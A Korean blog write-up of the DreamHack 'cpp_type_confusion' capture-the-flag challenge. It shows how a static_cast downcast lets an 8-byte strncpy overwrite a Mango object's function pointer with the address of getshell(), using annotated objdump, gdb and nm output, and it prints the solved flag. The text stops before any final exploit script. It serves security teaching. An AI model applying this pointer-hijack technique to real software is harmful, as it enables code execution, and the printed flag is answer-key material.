[๐Ÿฅ‰ Bronze 2] ๊ฐ™์€ 8๋ฐ”์ดํŠธ๋ฅผ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ๋„ ๋ฌธ์ž์—ด๋กœ๋„ ์ฝ๋Š”๋‹ค โ€” DreamHack cpp_type_confusion ํ’€์ด

2026-08-03ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 2] ๊ฐ™์€ 8๋ฐ”์ดํŠธ๋ฅผ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ๋„ ๋ฌธ์ž์—ด๋กœ๋„ ์ฝ๋Š”๋‹ค โ€” DreamHack cpp_type_confusion ํ’€์ด

Mango ๊ฐ์ฒด๋ฅผ Apple ๋กœ ๋‹ค์šด์บ์ŠคํŠธํ•˜๋Š” static_cast ํ•œ ์ค„์ด ์ „๋ถ€๋‹ค. ๋‘ ํด๋ž˜์Šค์˜ ๋ฉค๋ฒ„๊ฐ€ ๊ฐ™์€ ์˜คํ”„์…‹ +8 ์— ๋†“์—ฌ ์žˆ๋Š”๋ฐ ํ•œ์ชฝ์€ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ, ๋‹ค๋ฅธ ์ชฝ์€ char ๋ฐฐ์—ด์ด๋ผ strncpy ๋กœ 8๋ฐ”์ดํŠธ๋ฅผ ์“ฐ๋ฉด ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๊ฐ€ ํ†ต์งธ๋กœ ๋ฐ”๋€๋‹ค. PIE ๊ฐ€ ๊บผ์ ธ ์žˆ์–ด getshell ์ฃผ์†Œ๋Š” ๊ณ ์ •์ด๊ณ , strncpy ์˜ NUL ํŒจ๋”ฉ ๋•์— 3๋ฐ”์ดํŠธ๋งŒ ๋ณด๋‚ด๋„ ํฌ์ธํ„ฐ๊ฐ€ ์ •ํ™•ํžˆ ์™„์„ฑ๋œ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” cpp_type_confusion ๋ถ„๋ฅ˜: pwnable ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 2 FLAG: DH{4a969c04516654df9984f8aab2db7309}

C++ ๋กœ ์ง  ์‚ฌ๊ณผยท๋ง๊ณ  ๊ฐ€๊ฒŒ๋‹ค. ์‚ฌ๊ณผ๋ฅผ ๋งŒ๋“ค๊ณ , ๋ง๊ณ ๋ฅผ ๋งŒ๋“ค๊ณ , ๋‘˜์„ ์„ž์–ด "์• ํ”Œ๋ง๊ณ "์— ์ด๋ฆ„์„ ๋ถ™์ด๊ณ , ๋จน๋Š”๋‹ค. ์†Œ์Šค๊ฐ€ ํ†ต์งธ๋กœ ์ฃผ์–ด์ง€๊ณ  ๊ธธ์ด๋„ 160์ค„์ด ์•ˆ ๋œ๋‹ค.

์ทจ์•ฝ์ ์€ ๋”ฑ ํ•œ ์ค„์— ์žˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๊ทธ ํ•œ ์ค„์ด ์™œ ์œ„ํ—˜ํ•œ์ง€๋Š” C++ ๊ฐ์ฒด๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ์— ์–ด๋–ป๊ฒŒ ๋†“์ด๋Š”์ง€๋ฅผ ์•Œ์•„์•ผ ๋ณด์ธ๋‹ค. ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋„ ์•„๋‹ˆ๊ณ  free ํ›„ ์žฌ์‚ฌ์šฉ๋„ ์•„๋‹ˆ๋‹ค. ๊ฒฝ๊ณ„ ๋ฐ–์œผ๋กœ ๋‚˜๊ฐ„ ๋ฐ”์ดํŠธ๊ฐ€ ํ•˜๋‚˜๋„ ์—†๋Š”๋ฐ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๊ฐ€ ๋ฐ”๋€๋‹ค.


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…cpp_type_confusion
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 2
๋ถ„๋ฅ˜pwnable
์ œ๊ณต ํŒŒ์ผcpp_type_confusion(ELF 64-bit), cpp_type_confusion.cpp(์ „์ฒด ์†Œ์Šค)
์„œ๋ฒ„host3.dreamhack.games:18869 (์—ฐ๊ฒฐ๋งˆ๋‹ค ํฌํŠธ๊ฐ€ ๋‹ค๋ฅด๋‹ค)
ํ™˜๊ฒฝUbuntu 16.04.6 LTS ยท amd64
๋ณดํ˜ธ ๊ธฐ๋ฒ•Partial RELRO ยท Canary ยท NX ยท No PIE
ํ•ต์‹ฌ ์ทจ์•ฝ์ static_cast ๋‹ค์šด์บ์ŠคํŠธ๋กœ ์ƒ๊ธด ํƒ€์ž… ์ปจํ“จ์ „ โ†’ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ๋ฉค๋ฒ„ ๋ฎ์–ด์“ฐ๊ธฐ

ํ’€์ด๋Š” ์„ธ ๊ฑธ์Œ์ด๋ฉด ๋๋‚œ๋‹ค. Apple ๊ณผ Mango ๋ฅผ ํ•˜๋‚˜์”ฉ ๋งŒ๋“ค์–ด 3๋ฒˆ ๋ฉ”๋‰ด์˜ ๊ด€๋ฌธ์„ ์—ด๊ณ , ์ด๋ฆ„ ์นธ์— getshell() ์ฃผ์†Œ 3๋ฐ”์ดํŠธ๋ฅผ ๋„ฃ์–ด Mango ๊ฐ์ฒด์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋ฎ๊ณ , 4๋ฒˆ์—์„œ ๊ทธ ๊ฐ์ฒด์˜ ๊ฐ€์ƒ ํ•จ์ˆ˜๋ฅผ ๋ถ€๋ฅธ๋‹ค.



๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

๋ฐฐํฌ๋ณธ์€ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค ๋‘˜๋ฟ์ด๋‹ค.

ls -l extracted && file extracted/cpp_type_confusion
ls ์™€ file ๋กœ ๋ฐฐํฌ๋ณธ ํ™•์ธ โ€” ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ cpp ์†Œ์Šค ๋‘ ๊ฐœ๋ฟ์ด๊ณ  ๋™์  ๋งํฌ๋œ 64๋น„ํŠธ ELF๋‹ค
ls ์™€ file ๋กœ ๋ฐฐํฌ๋ณธ ํ™•์ธ โ€” ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ cpp ์†Œ์Šค ๋‘ ๊ฐœ๋ฟ์ด๊ณ  ๋™์  ๋งํฌ๋œ 64๋น„ํŠธ ELF๋‹ค

for GNU/Linux 2.6.32 ๋ผ๋Š” ํ‘œ๊ธฐ๊ฐ€ ๋ถ™์–ด ์žˆ๋Š” ๊ฑธ ๋ณด๋ฉด ๊ฝค ์˜ค๋ž˜๋œ ํˆด์ฒด์ธ์ด๋‹ค. ๋ฌธ์ œ ์„ค๋ช…์˜ Ubuntu 16.04 ์™€ ๋งž๋Š”๋‹ค.

๋ณดํ˜ธ ๊ธฐ๋ฒ•๋ถ€ํ„ฐ ๋ณธ๋‹ค.

pwn checksec extracted/cpp_type_confusion
pwntools checksec ์ถœ๋ ฅ โ€” Partial RELRO, Canary, NX ๋Š” ์ผœ์ ธ ์žˆ์ง€๋งŒ PIE ๊ฐ€ ๊บผ์ ธ ์žˆ๋‹ค
pwntools checksec ์ถœ๋ ฅ โ€” Partial RELRO, Canary, NX ๋Š” ์ผœ์ ธ ์žˆ์ง€๋งŒ PIE ๊ฐ€ ๊บผ์ ธ ์žˆ๋‹ค

Canary ์™€ NX ๋Š” ์ผœ์ ธ ์žˆ๋‹ค. ์Šคํƒ์„ ๋ฐ€์–ด์„œ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ๊ฐˆ์•„์—Ž๋Š” ๊ทธ๋ฆผ์€ ์•„๋‹ˆ๋ผ๋Š” ๋œป์ด๋‹ค.

๋Œ€์‹  PIE ๊ฐ€ ๊บผ์ ธ ์žˆ๋‹ค. ์ฝ”๋“œ๊ฐ€ ํ•ญ์ƒ 0x400000 ๋ถ€ํ„ฐ ์˜ฌ๋ผ๊ฐ€๋‹ˆ๊นŒ, ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์žˆ๋Š” ํ•จ์ˆ˜ ์ฃผ์†Œ๋ฅผ ๊ทธ๋Œ€๋กœ ํ•˜๋“œ์ฝ”๋”ฉํ•  ์ˆ˜ ์žˆ๋‹ค. ์ฃผ์†Œ๋ฅผ ํ˜๋ฆฌ๋Š” ๋‹จ๊ณ„๊ฐ€ ํ†ต์งธ๋กœ ์‚ฌ๋ผ์ง„๋‹ค.

์†Œ์Šค์—์„œ ์ˆ˜์ƒํ•œ ์ค„๋งŒ ๊ณจ๋ผ๋‚ด๊ธฐ

์†Œ์Šค๊ฐ€ ํ†ต์งธ๋กœ ์žˆ์œผ๋‹ˆ ๋ˆˆ์œผ๋กœ ์ฝ์–ด๋„ ๋˜์ง€๋งŒ, ์ด๋ฆ„์ด ๊ฒน์น˜๋Š” ๋ฉค๋ฒ„๊ฐ€ ์žˆ๋Š”์ง€๋ถ€ํ„ฐ ํ›‘๋Š” ๊ฒŒ ๋น ๋ฅด๋‹ค.

grep -n "description\|static_cast\|strncpy" extracted/cpp_type_confusion.cpp
grep -n ์œผ๋กœ ์†Œ์Šค์—์„œ description ๋ฉค๋ฒ„๊ฐ€ ์„ ์–ธ๋œ ๋‘ ์ค„๊ณผ static_cast, strncpy ๋ฅผ ํ•œ ๋ฒˆ์— ๋ฝ‘์•„๋ƒˆ๋‹ค
grep -n ์œผ๋กœ ์†Œ์Šค์—์„œ description ๋ฉค๋ฒ„๊ฐ€ ์„ ์–ธ๋œ ๋‘ ์ค„๊ณผ static_cast, strncpy ๋ฅผ ํ•œ ๋ฒˆ์— ๋ฝ‘์•„๋ƒˆ๋‹ค

์—ฌ๊ธฐ์„œ ์ด๋ฏธ ๊ทธ๋ฆผ์ด ๊ฑฐ์˜ ๋‚˜์˜จ๋‹ค. description ์ด๋ผ๋Š” ์ด๋ฆ„์ด 69๋ฒˆ ์ค„์—์„œ๋Š” char description[8], 86๋ฒˆ ์ค„์—์„œ๋Š” void (*description)(void) ๋กœ ๋‘ ๋ฒˆ ์„ ์–ธ๋ผ ์žˆ๋‹ค. ์„œ๋กœ ๋‹ค๋ฅธ ํด๋ž˜์Šค์˜ ๋ฉค๋ฒ„์ธ๋ฐ ์ด๋ฆ„์ด ๊ฐ™๋‹ค.

๊ทธ๋ฆฌ๊ณ  114๋ฒˆ ์ค„์— static_cast, 117๋ฒˆ ์ค„์— strncpy ๊ฐ€ ๋‚˜๋ž€ํžˆ ์žˆ๋‹ค.

๋‘ ํด๋ž˜์Šค

๋ฌธ์ œ๊ฐ€ ๋˜๋Š” ๋‘ ํด๋ž˜์Šค๋ฅผ ๊ทธ๋Œ€๋กœ ์˜ฎ๊ธฐ๋ฉด ์ด๋ ‡๋‹ค.

class Base{
public:
    virtual void yum(){
    }
};
 
class Apple : public Base{
public:
    virtual void yum(){
        std::cout << description << std::endl;
    }
    Apple(){
        strcpy(description, "Appleyum\x00");
        appleflag = 1;
    };
 
    ~Apple(){
        appleflag = 0;
    }
    char description[8];
};
 
class Mango : public Base{
public:
    virtual void yum(){
        description();
    }
 
    Mango(){
        description = mangohi;
        mangoflag = 1;
    };
 
    ~Mango(){
        mangoflag = 0;
    }
    void (*description)(void);
};

๋‘˜ ๋‹ค Base ๋ฅผ ์ƒ์†ํ•˜๊ณ , ๋‘˜ ๋‹ค ๊ฐ€์ƒ ํ•จ์ˆ˜ yum() ํ•˜๋‚˜๋ฅผ ์žฌ์ •์˜ํ•˜๊ณ , ๋‘˜ ๋‹ค description ์ด๋ผ๋Š” ๋ฉค๋ฒ„ ํ•˜๋‚˜๋ฅผ ๊ฐ–๋Š”๋‹ค. ์ƒ์† ๊ตฌ์กฐ๊ฐ€ ๊ฐ™์œผ๋‹ˆ ๋ฉค๋ฒ„๊ฐ€ ๋†“์ด๋Š” ์˜คํ”„์…‹๋„ ๊ฐ™๋‹ค. Apple ์˜ char[8] ๊ณผ Mango ์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋Š” ๊ฐ์ฒด ์•ˆ์—์„œ ์ •ํ™•ํžˆ ๊ฐ™์€ ์ž๋ฆฌ๋ฅผ ์ฐจ์ง€ํ•œ๋‹ค.

Apple::yum() ์€ ๊ทธ ์ž๋ฆฌ๋ฅผ ๋ฌธ์ž์—ด๋กœ ์ฝ์–ด ์ถœ๋ ฅํ•˜๊ณ , Mango::yum() ์€ ๊ทธ ์ž๋ฆฌ์— ๋“  ๊ฐ’์„ ํ•จ์ˆ˜ ์ฃผ์†Œ๋กœ ๋ณด๊ณ  ํ˜ธ์ถœํ•œ๋‹ค.

main ์˜ ๋ฉ”๋‰ด

case 3:
    if(appleflag && mangoflag){
        applemangoflag = 1;
        mixer = static_cast<Apple*>(mango);
        std::cout << "Applemango name: ";
        std::cin >> applemangoname;
        strncpy(mixer->description, applemangoname.c_str(), 8);
        std::cout << "Applemango Created!" << std::endl;
    } else if(appleflag == 0 && mangoflag == 0){

mango ๋Š” Base* ์ด๊ณ  ์‹ค์ œ๋กœ๋Š” new Mango() ๋กœ ๋งŒ๋“  ๊ฐ์ฒด๋ฅผ ๊ฐ€๋ฆฌํ‚จ๋‹ค. ๊ทธ๊ฑธ static_cast<Apple*> ๋กœ ๋‚ด๋ ค์ฐ์–ด mixer ์— ๋‹ด๊ณ , mixer->description ์— ์‚ฌ์šฉ์ž ์ž…๋ ฅ 8๋ฐ”์ดํŠธ๋ฅผ ๋ณต์‚ฌํ•œ๋‹ค.

mixer ๋Š” Apple ์ด๋ผ๊ณ  ์ฃผ์žฅํ•˜์ง€๋งŒ ๊ทธ ์ž๋ฆฌ์— ์žˆ๋Š” ๋ฌผ๊ฑด์€ Mango ๋‹ค. ์ปดํŒŒ์ผ๋Ÿฌ๋Š” mixer->description ์„ Apple ์˜ ๋ ˆ์ด์•„์›ƒ๋Œ€๋กœ ๊ณ„์‚ฐํ•œ๋‹ค โ€” ๊ฐ์ฒด ์‹œ์ž‘ + 8, ํฌ๊ธฐ 8, ํƒ€์ž… char[8]. ๊ทธ๋Ÿฐ๋ฐ ๊ทธ 8๋ฐ”์ดํŠธ๋Š” Mango ์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋‹ค.

์‹ฌ๋ณผ ํ™•์ธ

๋…ธ๋ฆด ํ•จ์ˆ˜๊ฐ€ ์žˆ๋Š”์ง€ ๋ณธ๋‹ค.

nm -C --defined-only extracted/cpp_type_confusion | grep -E "getshell|yum|vtable for (Apple|Mango|Base)|hi\(\)|flag$" | sort
nm -C ์ถœ๋ ฅ โ€” getshell ์ด 0x400fa6 ์— ์žˆ๊ณ  Apple/Mango ์˜ yum ๊ณผ vtable ์ฃผ์†Œ๊ฐ€ ์ „๋ถ€ ์‹ฌ๋ณผ๋กœ ๋‚จ์•„ ์žˆ๋‹ค
nm -C ์ถœ๋ ฅ โ€” getshell ์ด 0x400fa6 ์— ์žˆ๊ณ  Apple/Mango ์˜ yum ๊ณผ vtable ์ฃผ์†Œ๊ฐ€ ์ „๋ถ€ ์‹ฌ๋ณผ๋กœ ๋‚จ์•„ ์žˆ๋‹ค

getshell() ์ด 0x400fa6 ์— ๊ทธ๋Œ€๋กœ ์žˆ๋‹ค. ์†Œ์Šค์—๋„ ์žˆ๋˜ ๊ทธ ํ•จ์ˆ˜๋‹ค.

void getshell(){
    system("/bin/sh");
}

๋ฉ”๋‰ด ์–ด๋””์—์„œ๋„ ๋ถ€๋ฅด์ง€ ์•Š๋Š” ํ•จ์ˆ˜๋‹ค. PIE ๊ฐ€ ๊บผ์ ธ ์žˆ์œผ๋‹ˆ ์ด ์ฃผ์†Œ๋Š” ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ๊ฐ™๋‹ค. ๋ชฉ์ ์ง€๋Š” ์ •ํ•ด์กŒ๋‹ค.


๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” C++ ๊ฐ์ฒด๋Š” ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์–ด๋–ป๊ฒŒ ์ƒ๊ฒผ๋‚˜

์ด ๋ฌธ์ œ๋ฅผ ์ดํ•ดํ•˜๋ ค๋ฉด ๋‘ ๊ฐ€์ง€๋งŒ ์•Œ๋ฉด ๋œ๋‹ค.

์ฒซ์งธ, ๊ฐ€์ƒ ํ•จ์ˆ˜๊ฐ€ ํ•˜๋‚˜๋ผ๋„ ์žˆ๋Š” ํด๋ž˜์Šค์˜ ๊ฐ์ฒด๋Š” ๋งจ ์•ž 8๋ฐ”์ดํŠธ๊ฐ€ vptr ์ด๋‹ค. ๋ฉค๋ฒ„ ๋ณ€์ˆ˜๊ฐ€ ์•„๋‹ˆ๋ผ ์ปดํŒŒ์ผ๋Ÿฌ๊ฐ€ ๋ชฐ๋ž˜ ๋„ฃ๋Š” ํฌ์ธํ„ฐ๋กœ, ๊ทธ ํด๋ž˜์Šค์˜ ๊ฐ€์ƒ ํ•จ์ˆ˜ ํ…Œ์ด๋ธ”(vtable)์„ ๊ฐ€๋ฆฌํ‚จ๋‹ค. ๋ฉค๋ฒ„ ๋ณ€์ˆ˜๋Š” ๊ทธ ๋’ค๋ถ€ํ„ฐ ๋†“์ธ๋‹ค. ๊ทธ๋ž˜์„œ Apple ์˜ description[8] ๋„, Mango ์˜ description ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋„ ๊ฐ์ฒด ์‹œ์ž‘ + 8 ์— ์•‰๋Š”๋‹ค.

๋‘˜์งธ, mango->yum() ๊ฐ™์€ ๊ฐ€์ƒ ํ•จ์ˆ˜ ํ˜ธ์ถœ์€ ์ •์ ์œผ๋กœ ๋ชฉ์ ์ง€๊ฐ€ ์ •ํ•ด์ง€์ง€ ์•Š๋Š”๋‹ค. ํฌ์ธํ„ฐ์˜ ์„ ์–ธ ํƒ€์ž…(Base*)์ด ์•„๋‹ˆ๋ผ ๊ฐ์ฒด ์•ˆ vptr ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ํ…Œ์ด๋ธ”์„ ๋ณด๊ณ  ๊ทธ๋•Œ๊ทธ๋•Œ ๋›ด๋‹ค.

๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ ์‹ค์ œ๋กœ ํ™•์ธํ•ด ๋ณธ๋‹ค. vtable ์€ .rodata ์— ์ƒ์ˆ˜๋กœ ๋ฐ•ํ˜€ ์žˆ๋‹ค.

objdump -s -j .rodata --start-address=0x401858 --stop-address=0x401890 extracted/cpp_type_confusion | tail -n +4; gdb -q -batch -ex "x/a 0x401868" -ex "x/a 0x401880" extracted/cpp_type_confusion
objdump ๋กœ .rodata ์˜ vtable ๋‘ ๊ฐœ๋ฅผ ๋คํ”„ํ•˜๊ณ  gdb ๋กœ ๊ฐ ์Šฌ๋กฏ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ํ•จ์ˆ˜๋ฅผ ํ™•์ธํ–ˆ๋‹ค
objdump ๋กœ .rodata ์˜ vtable ๋‘ ๊ฐœ๋ฅผ ๋คํ”„ํ•˜๊ณ  gdb ๋กœ ๊ฐ ์Šฌ๋กฏ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ํ•จ์ˆ˜๋ฅผ ํ™•์ธํ–ˆ๋‹ค

Mango ์˜ vtable ์€ 0x401858 ์—์„œ ์‹œ์ž‘ํ•ด offset-to-top(0) ยท typeinfo(0x4018a0) ยท ์ฒซ ๊ฐ€์ƒ ํ•จ์ˆ˜ ์Šฌ๋กฏ(0x4015b8 = Mango::yum()) ์ˆœ์œผ๋กœ ๋†“์—ฌ ์žˆ๋‹ค. ๊ฐ์ฒด์˜ vptr ์— ๋“ค์–ด๊ฐ€๋Š” ๊ฐ’์€ ํ…Œ์ด๋ธ” ์‹œ์ž‘์ด ์•„๋‹ˆ๋ผ ํ•จ์ˆ˜ ์Šฌ๋กฏ์ด ์‹œ์ž‘ํ•˜๋Š” 0x401868 ์ด๋‹ค. Apple ์ชฝ๋„ ๋˜‘๊ฐ™์€ ๋ชจ์–‘์œผ๋กœ 0x401880 ์ด๋‹ค.

gdb ์˜ x/a ๊ฐ€ ๊ทธ ๋‘ ์ฃผ์†Œ๋ฅผ ๊ฐ๊ฐ Mango::yum ๊ณผ Apple::yum ์œผ๋กœ ํ’€์–ด ์ค€๋‹ค.

static_cast ๊ฐ€ ํ•˜๋Š” ์ผ๊ณผ ์•ˆ ํ•˜๋Š” ์ผ

static_cast<Apple*>(mango) ๋Š” ์ปดํŒŒ์ผ ์‹œ์ ์— ์ƒ์† ๊ด€๊ณ„๋งŒ ํ™•์ธํ•œ๋‹ค. Apple ๊ณผ Mango ๋Š” ๋‘˜ ๋‹ค Base ๋ฅผ ์ƒ์†ํ•˜๋‹ˆ, Base* ๋ฅผ Apple* ๋กœ ๋‚ด๋ ค์ฐ๋Š” ๊ฒƒ ์ž์ฒด๋Š” ๋ฌธ๋ฒ•์ ์œผ๋กœ ํ•ฉ๋ฒ•์ด๋‹ค. ๋‹จ์ผ ์ƒ์†์ด๋ผ ์ฃผ์†Œ ๋ณด์ •๋„ ํ•„์š” ์—†์–ด์„œ, ๊ธฐ๊ณ„์–ด๋กœ๋Š” ๊ทธ๋ƒฅ ํฌ์ธํ„ฐ ๋ณต์‚ฌ ํ•œ ์ค„์ด ๋œ๋‹ค.

๋Ÿฐํƒ€์ž„์— "์ด๊ฒŒ ์ •๋ง Apple ์ธ๊ฐ€"๋ฅผ ํ™•์ธํ•˜๋Š” ์ฝ”๋“œ๋Š” ํ•œ ์ค„๋„ ์ƒ๊ธฐ์ง€ ์•Š๋Š”๋‹ค. ๊ทธ ํ™•์ธ์„ ํ•˜๋Š” ๊ฑด dynamic_cast ๋‹ค. dynamic_cast<Apple*>(mango) ์˜€๋‹ค๋ฉด vtable ์˜†์— ๋ถ™์–ด ์žˆ๋Š” typeinfo ๋ฅผ ๋ณด๊ณ  ์‹คํŒจํ•ด์„œ nullptr ์„ ๋Œ๋ ค์คฌ์„ ๊ฒƒ์ด๊ณ , ๋‹ค์Œ ์ค„ strncpy ์—์„œ ๋„ ์—ญ์ฐธ์กฐ๋กœ ์ฃฝ์—ˆ์„ ๊ฒƒ์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์ด ๋ฌธ์ œ๋Š” ์„ฑ๋ฆฝํ•˜์ง€ ์•Š๋Š”๋‹ค.

static_cast ๋Š” "๋‚ด๊ฐ€ ํ™•์ธํ–ˆ์œผ๋‹ˆ ๋ฏฟ์–ด๋ผ"๋ผ๋Š” ๋œป์˜ ์บ์ŠคํŠธ๋‹ค. ์—ฌ๊ธฐ์„œ๋Š” ๊ทธ ๋ง์ด ๊ฑฐ์ง“์ด๋‹ค.

์บ์ŠคํŠธ๋Ÿฐํƒ€์ž„ ๊ฒ€์‚ฌ์‹คํŒจํ•˜๋ฉด๊ธฐ๊ณ„์–ด ๋น„์šฉ
static_cast<Apple*>์—†์Œ์กฐ์šฉํžˆ ์ž˜๋ชป๋œ ํฌ์ธํ„ฐmov ๋‘ ์ค„
dynamic_cast<Apple*>typeinfo ๋Œ€์กฐnullptr ๋ฐ˜ํ™˜๋Ÿฐํƒ€์ž„ ํ•จ์ˆ˜ ํ˜ธ์ถœ
reinterpret_cast<Apple*>์—†์Œ์กฐ์šฉํžˆ ์ž˜๋ชป๋œ ํฌ์ธํ„ฐ์—†์Œ

์„ธ ์บ์ŠคํŠธ ์ค‘ ์ด ์ƒํ™ฉ์—์„œ ์‚ฌ๊ณ ๋ฅผ ๋ง‰์•„ ์ฃผ๋Š” ๊ฑด ํ•˜๋‚˜๋ฟ์ด๋‹ค. ๊ทธ๋ฆฌ๊ณ  dynamic_cast ๊ฐ€ ๊ฒ€์‚ฌ์— ์“ฐ๋Š” typeinfo ๋Š” ๋ฐฉ๊ธˆ ๋คํ”„ํ•œ vtable ๋ฐ”๋กœ ์˜† ์Šฌ๋กฏ์— ์ด๋ฏธ ๋“ค์–ด ์žˆ๋‹ค โ€” ์ •๋ณด๊ฐ€ ์—†์–ด์„œ ๋ชป ๋ง‰์€ ๊ฒŒ ์•„๋‹ˆ๋ผ, ํ™•์ธํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์•ˆ ๋„ฃ์€ ๊ฒƒ์ด๋‹ค.



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” +8 ํ•œ ์นธ์„ ๋‘ ํด๋ž˜์Šค๊ฐ€ ๋‹ค๋ฅด๊ฒŒ ์ฝ๋Š”๋‹ค

๋ง๋กœ๋งŒ ํ•˜๋ฉด ํ—ท๊ฐˆ๋ฆฌ๋‹ˆ ๊ธฐ๊ณ„์–ด๋ฅผ ๋ณด์ž. ๋จผ์ € 3๋ฒˆ ๋ฉ”๋‰ด(Mix)๋‹ค.

objdump -d --no-show-raw-insn -M intel -C extracted/cpp_type_confusion --start-address=0x401213 --stop-address=0x401284 | sed -f annot_mix.sed | tail -n +7

์ฃผ์„์€ annot_mix.sed ๋กœ objdump ์ถœ๋ ฅ ์œ„์— ์–น์—ˆ๋‹ค. ์‹ค์ œ ์ถœ๋ ฅ ๊ทธ๋Œ€๋กœ์— ์„ค๋ช…๋งŒ ๋ถ™์ธ ๊ฒƒ์ด๋‹ค.

s|^  401213:.*|&   <-- appleflag ๊ฒ€์‚ฌ|
s|^  401221:.*|&   <-- mangoflag ๊ฒ€์‚ฌ|
s|^  40122b:.*|&   <-- applemangoflag = 1|
s|^  401235:.*|&   <-- rbp-0x50 = mango (Base*)|
s|^  401239:.*|&   <-- rbp-0x48 = mixer (Apple*) : static_cast ๋Š” ํฌ์ธํ„ฐ ๋ณต์‚ฌ ํ•œ ์ค„|
s|^  401258:.*|&   <-- std::cin >> applemangoname|
s|^  401270:.*|&   <-- \&mixer->description = ๊ฐ์ฒด+8|
s|^  401274:.*|&   <-- n = 8|
s|^  40127f:.*|&   <-- ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ์ž๋ฆฌ์— 8๋ฐ”์ดํŠธ ๋ณต์‚ฌ|
objdump ๋””์Šค์–ด์…ˆ๋ธ” โ€” static_cast ๊ฐ€ mov ๋‘ ์ค„๋กœ ๋๋‚˜๊ณ  strncpy ์ธ์ž์— ๊ฐ์ฒด+8 ๊ณผ n=8 ์ด ๊ทธ๋Œ€๋กœ ๋“ค์–ด๊ฐ„๋‹ค
objdump ๋””์Šค์–ด์…ˆ๋ธ” โ€” static_cast ๊ฐ€ mov ๋‘ ์ค„๋กœ ๋๋‚˜๊ณ  strncpy ์ธ์ž์— ๊ฐ์ฒด+8 ๊ณผ n=8 ์ด ๊ทธ๋Œ€๋กœ ๋“ค์–ด๊ฐ„๋‹ค

static_cast ์ž๋ฆฌ๋ฅผ ๋ณด๋ฉด ์ •๋ง ์•„๋ฌด๊ฒƒ๋„ ์—†๋‹ค.

401235:  mov  rax, QWORD PTR [rbp-0x50]   ; mango (Base*)
401239:  mov  QWORD PTR [rbp-0x48], rax   ; mixer (Apple*)

์ฝ์–ด์„œ ๋‹ค๋ฅธ ์นธ์— ์“ด๋‹ค. ๊ฒ€์‚ฌ๋„, ๋ณด์ •๋„, ์˜ˆ์™ธ๋„ ์—†๋‹ค. ์ด๊ฒŒ static_cast ๋‹ค.

๊ทธ๋ฆฌ๊ณ  strncpy ํ˜ธ์ถœ ์ง์ „์— ์ธ์ž๊ฐ€ ์ด๋ ‡๊ฒŒ ์ค€๋น„๋œ๋‹ค.

40126c:  mov  rax, QWORD PTR [rbp-0x48]   ; mixer
401270:  add  rax, 0x8                    ; &mixer->description
401274:  mov  edx, 0x8                    ; n = 8
40127f:  call 400e30 <strncpy@plt>

add rax, 0x8 ์ด ์ „๋ถ€๋‹ค. Apple ์˜ description ์ด ๊ฐ์ฒด ์‹œ์ž‘ + 8 ์ด๋ผ๋Š” ๊ฑธ ์ปดํŒŒ์ผ๋Ÿฌ๊ฐ€ ๊ณ„์‚ฐํ•ด ๋‘” ๊ฒƒ์ด๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๊ทธ ๊ฐ์ฒด๋Š” Mango ๋‹ค.

๊ฐ™์€ +8, ์ •๋ฐ˜๋Œ€์˜ ํ•ด์„

๋‘ yum() ์„ ๋‚˜๋ž€ํžˆ ๋†“์œผ๋ฉด ์ด ๋ฌธ์ œ์˜ ์ „๋ถ€๊ฐ€ ๋ณด์ธ๋‹ค.

for R in 401524:401556 4015b8:4015d1; do objdump -d --no-show-raw-insn -M intel -C extracted/cpp_type_confusion --start-address=0x${R%:*} --stop-address=0x${R#*:} | tail -n +7 | sed -f annot_yum.sed; done
s|^  401530:.*|&   <-- rax = this|
s|^  401534:.*|&   <-- this+8 ์˜ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐ (char[8] ์˜ ์ฒซ ์นธ)|
s|^  40153b:.*|&   <-- ๊ทธ ์ฃผ์†Œ๋ฅผ char* ๋กœ ๋„˜๊ฒจ ์ถœ๋ ฅ|
s|^  4015c4:.*|&   <-- rax = this|
s|^  4015c8:.*|&   <-- this+8 ์— ๋“  ๊ฐ’์„ ์ฝ๋Š”๋‹ค (void(*)())|
s|^  4015cc:.*|&   <-- ์ฝ์€ ๊ฐ’์œผ๋กœ ๋ฐ”๋กœ ์ ํ”„|
objdump ๋กœ Apple::yum ๊ณผ Mango::yum ์„ ๋‚˜๋ž€ํžˆ ๋ณธ ํ™”๋ฉด โ€” ํ•œ์ชฝ์€ this+8 ์˜ ์ฃผ์†Œ๋ฅผ, ๋‹ค๋ฅธ ์ชฝ์€ this+8 ์˜ ๊ฐ’์„ ์“ด๋‹ค
